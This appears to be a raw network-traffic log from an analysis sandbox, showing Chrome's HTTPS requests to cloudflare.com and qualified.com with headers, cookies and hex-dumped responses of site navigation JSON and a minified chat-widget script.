2024-10-18 13:48:14 UTC	4255	OUT	GET /page-data/index/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.cloudflare.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:14 UTC	969	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"eeb94f1a13afbfaac802694c0a872cc1" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CzDuGwYqpqsTUlkdrJirdL%2BASL45dmYZUg6mq7%2FCuWIgloomkAez5A1i1TXNs3mP%2Bu%2Fd5ThkiWS27B2jLass4MkyrTmrR93QKFcYLFb%2FrHxyve7aEp2Kew%2FzlLqrI8XTvJnATg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc1d7aea6b43-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 61 67 65 22 3a 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 48 6f 6d 65 70 61 67 65 20 52 65 64 77 6f 6f 64 20 2d 20 4c 49 56 45 20 2d 20 44 4f 20 4e 4f 54 20 44 45 4c 45 54 45 22 2c 22 6c 6f 63 61 6c 65 4c 69 73 74 22 3a 7b 22 65 6e 55 53 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 43 4e 22 3a 22 54 72 61 6e 73 6c 61 74 65 64 20 66 6f 72 20 4c 6f 63 61 6c 65 22 2c 22 7a 68 54 57 22 3a 22 54 72 61 6e Data Ascii: 7ff2{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/","result":{"data":{"page":{"pageName":"Homepage Redwood - LIVE - DO NOT DELETE","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Tran
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 34 45 4e 2f 65 39 34 33 38 64 65 35 35 38 63 39 38 33 63 63 63 65 38 31 32 39 64 64 63 32 30 65 31 62 38 62 2f 43 46 5f 4d 65 74 61 49 6d 61 67 65 5f 31 32 30 30 78 36 32 38 2e 70 6e 67 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 7d 2c 22 6d 65 74 61 49 6d 61 67 65 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 32 46 4e 6e 78 46 5a 4f 42 45 68 61 31 57 32 4d 68 46 34 34 45 4e 2f 65 39 34 33 38 64 65 35 35 38 63 39 38 33 63 63 63 65 38 31 32 39 64 64 63 32 30 65 31 62 38 62 2f 43 46 5f 4d 65 74 61 49 6d 61 67 65 5f 31 32 30 30 78 36 32 38 2e 70 6e 67 22 7d 2c 22 64 65 73 Data Ascii: 4EN/e9438de558c983ccce8129ddc20e1b8b/CF_MetaImage_1200x628.png"},"description":""},"metaImage":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/2FNnxFZOBEha1W2MhF44EN/e9438de558c983ccce8129ddc20e1b8b/CF_MetaImage_1200x628.png"},"des
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 20 74 6f 70 69 63 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 37 4a 52 4a 38 45 32 59 59 38 56 6b 6a 55 32 72 57 54 55 4f 44 58 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 52 69 73 6b 20 70 6f 73 74 75 72 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 41 75 74 6f 6d 61 74 65 64 20 26 20 64 79 6e 61 6d 69 63 20 72 69 73 6b 20 63 6f 6e 74 72 6f 6c 73 20 61 63 72 6f 73 73 20 79 6f 75 72 20 61 74 74 61 63 6b 20 73 75 72 66 61 63 65 22 2c 22 75 Data Ascii: topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"7JRJ8E2YY8VkjU2rWTUODX","locale":"en-US","title":"Risk posture","description":"Automated & dynamic risk controls across your attack surface","u
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 69 6c 64 20 61 6e 64 20 64 65 6c 69 76 65 72 20 73 63 61 6c 61 62 6c 65 2c 20 73 65 63 75 72 65 20 41 49 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 69 2d 73 6f 6c 75 74 69 6f 6e 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 74 72 75 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 Data Ascii: ild and deliver scalable, secure AI applications","url":"https://www.cloudflare.com/ai-solution/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":true,"hideOnChinaSite":false,"navigationIte
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 53 59 54 77 32 53 68 47 58 69 56 66 53 77 78 65 4a 55 63 48 67 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 42 75 69 6c 64 20 26 20 64 65 70 6c 6f 79 20 63 6c 6f 75 64 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 75 69 6c 64 20 70 6f 77 65 72 66 75 6c 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 20 6f 6e 20 6f 75 72 20 67 6c 6f 62 61 6c 20 6e 65 74 77 6f 72 6b 22 2c 22 75 72 6c 22 3a 22 2f 64 65 76 65 6c 6f 70 65 72 2d 70 6c 61 74 66 6f 72 6d 22 2c 22 62 61 64 67 65 73 22 3a Data Ascii: ternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"1SYTw2ShGXiVfSwxeJUcHg","locale":"en-US","title":"Build & deploy cloud applications","description":"Build powerful applications on our global network","url":"/developer-platform","badges":
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 49 75 6d 6d 65 58 34 71 43 5a 70 39 7a 64 69 46 30 4c 44 78 36 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 47 61 6d 69 6e 67 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 67 61 6d 69 6e 67 20 73 65 72 76 69 63 65 73 20 6f 72 20 70 6c 61 74 66 6f 72 6d 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 Data Ascii: pecialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6IummeX4qCZp9zdiF0LDx6","locale":"en-US","title":"Gaming","description":"For gaming services or platforms","url":"https://www.cloudflare.c
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 65 72 6e 6d 65 6e 74 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 70 75 62 6c 69 63 2d 73 65 63 74 6f 72 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 32 45 79 51 52 5a 46 42 46 56 5a 55 6c 35 66 46 70 5a 42 35 35 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a Data Ascii: ernment organizations","url":"https://www.cloudflare.com/public-sector/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"22EyQRZFBFVZUl5fFpZB55","locale":"en-US","title":
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 20 49 6e 66 72 61 73 74 72 75 63 74 75 72 65 20 44 65 66 65 6e 73 65 20 50 72 6f 6a 65 63 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 67 6f 76 65 72 6e 6d 65 6e 74 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 70 61 72 74 6e 65 72 73 2f 74 65 63 68 6e 6f 6c 6f 67 79 2d 70 61 72 74 6e 65 72 73 2f 63 69 64 70 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 Data Ascii: Infrastructure Defense Project","description":"For government institutions","url":"https://www.cloudflare.com/partners/technology-partners/cidp/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"element
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6f 76 65 72 72 69 64 65 54 68 65 53 61 6c 65 73 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 47 57 62 6a 4e 71 6f 7a 6a 78 63 68 67 4d 71 36 55 4d 78 6f 48 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 4f 75 72 20 70 72 6f 64 75 63 74 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c Data Ascii: onOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"2GWbjNqozjxchgMq6UMxoH","locale":"en-US","name":"Our products","description":null,"mainLink":null,"navigationL
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6c 65 20 2f 20 77 65 62 20 61 70 70 73 2c 20 41 50 49 73 20 26 20 77 65 62 73 69 74 65 73 20 77 69 74 68 20 57 41 46 2c 20 44 44 6f 53 2c 20 43 44 4e 2c 20 44 4e 53 20 26 20 6d 6f 72 65 22 2c 22 75 72 6c 22 3a 22 2f 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 73 2f 70 72 6f 64 75 63 74 73 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 68 7a 52 55 35 4d 4b 6d 43 4d 63 53 65 58 35 65 6b 49 Data Ascii: le / web apps, APIs & websites with WAF, DDoS, CDN, DNS & more","url":"/application-services/products/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"hzRU5MKmCMcSeX5ekI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	50833	104.18.16.5	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	834	OUT	GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=c1910c9b-f2a2-4705-8fc0-5ba97f36ebbe&wu=e94968ef-2552-4e4d-90d8-70a75875c7ad&ca=2024-10-18T13%3A48%3A12.870Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fbookingadocel.com%2F&pv=1&fv=2024-10-18-65af8c0735&iml=false&ic=true HTTP/1.1 Host: ws6.qualified.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://www.cloudflare.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: isnhAkoiJC7jU16n34x1jA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits Sec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
2024-10-18 13:48:14 UTC	281	IN	HTTP/1.1 400 Bad Request Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 12 Connection: close Sec-Websocket-Version: 13 X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8d48fc1e09843acf-DFW
2024-10-18 13:48:14 UTC	12	IN	Data Raw: 42 61 64 20 52 65 71 75 65 73 74 0a Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	50831	104.18.16.5	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	375	OUT	GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1 Host: js.qualified.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:14 UTC	806	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:14 GMT Content-Type: text/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=60, public, stale-while-revalidate=60, stale-if-error=300, s-maxage=86400 etag: W/"6922059b668a4ae8094259da0c37f585" referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=63072000; includeSubDomains vary: Accept,Accept-Encoding x-cache: miss x-content-type-options: nosniff x-download-options: noopen x-envoy-upstream-service-time: 60 x-frame-options: SAMEORIGIN x-permitted-cross-domain-policies: none x-request-id: de2520ac-6ea2-4664-9066-59d004f57405 x-runtime: 0.034891 x-xss-protection: 1; mode=block CF-Cache-Status: HIT Age: 18539 Server: cloudflare CF-RAY: 8d48fc1e1df33177-DFW
2024-10-18 13:48:14 UTC	563	IN	Data Raw: 37 63 37 38 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 71 75 61 6c 69 66 69 65 64 2d 33 33 38 64 37 32 36 61 61 30 30 61 61 63 39 32 31 61 66 64 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 76 61 72 20 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e Data Ascii: 7c78(function() { /! For license information please see qualified-338d726aa00aac921afd.js.LICENSE.txt /var init=function(e){var t={};function n(i){if(t[i])return t[i].exports;var a=t[i]={i:i,l:!1,exports:{}};return e[i].call(a.exports,a,a.exports,n
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 2c 74 29 7b 69 66 28 31 26 74 26 26 28 65 3d 6e 28 65 29 29 2c 38 26 74 29 72 65 74 75 72 6e 20 65 3b 69 66 28 34 26 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 74 79 70 65 6f 66 20 65 26 26 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 3b 69 66 28 6e 2e 72 28 69 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 64 65 66 61 75 6c 74 22 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 65 7d 29 2c 32 26 74 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 29 66 6f 72 28 76 61 72 20 61 20 69 6e 20 65 29 6e 2e 64 28 69 2c 61 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 5b 74 5d 7d 2e Data Ascii: ,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var a in e)n.d(i,a,function(t){return e[t]}.
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 35 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 31 35 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 31 33 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 36 30 36 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 36 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 33 34 30 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 31 30 32 29 2c 61 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 Data Ascii: )}},function(e,t,n){e.exports=n(455)},function(e,t,n){e.exports=n(415)},function(e,t,n){e.exports=n(613)},function(e,t,n){e.exports=n(606)},function(e,t,n){e.exports=n(461)},function(e,t,n){e.exports=n(340)},function(e,t,n){var i=n(102),a=Function.prototy
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 35 39 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 6e 28 38 29 2c 61 3d 6e 28 34 33 29 2c 72 3d 69 28 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 29 3b 65 2e 65 78 70 6f 72 74 73 3d 4f 62 6a 65 63 74 2e 68 61 73 4f 77 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 72 28 61 28 65 29 2c 74 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 34 37 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 32 32 Data Ascii: function(e){return"function"==typeof e}},function(e,t,n){e.exports=n(459)},function(e,t,n){var i=n(8),a=n(43),r=i({}.hasOwnProperty);e.exports=Object.hasOwn\|\|function(e,t){return r(a(e),t)}},function(e,t,n){e.exports=n(447)},function(e,t,n){e.exports=n(22
2024-10-18 13:48:14 UTC	1369	IN	Data Raw: 6f 74 79 70 65 22 3d 3d 3d 74 26 26 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 68 20 69 6e 20 6e 26 26 21 6e 5b 68 5d 29 7b 76 61 72 20 69 3d 75 28 65 2c 74 29 3b 69 26 26 69 5b 68 5d 26 26 28 65 5b 74 5d 3d 6e 2e 76 61 6c 75 65 2c 6e 3d 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 6d 20 69 6e 20 6e 3f 6e 5b 6d 5d 3a 69 5b 6d 5d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 63 20 69 6e 20 6e 3f 6e 5b 63 5d 3a 69 5b 63 5d 2c 77 72 69 74 61 62 6c 65 3a 21 31 7d 29 7d 72 65 74 75 72 6e 20 64 28 65 2c 74 2c 6e 29 7d 3a 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 6f 28 65 29 2c 74 3d 73 28 74 29 2c 6f 28 6e 29 2c 61 29 74 72 79 7b 72 65 74 75 72 6e 20 64 28 65 2c 74 2c 6e 29 7d 63 61 74 63 68 28 69 29 7b 7d 69 66 28 22 67 65 74 22 69 6e 20 6e 7c 7c 22 73 65 Data Ascii: otype"===t&&"value"in n&&h in n&&!n[h]){var i=u(e,t);i&&i[h]&&(e[t]=n.value,n={configurable:m in n?n[m]:i[m],enumerable:c in n?n[c]:i[c],writable:!1})}return d(e,t,n)}:d:function(e,t,n){if(o(e),t=s(t),o(n),a)try{return d(e,t,n)}catch(i){}if("get"in n\|\|"se
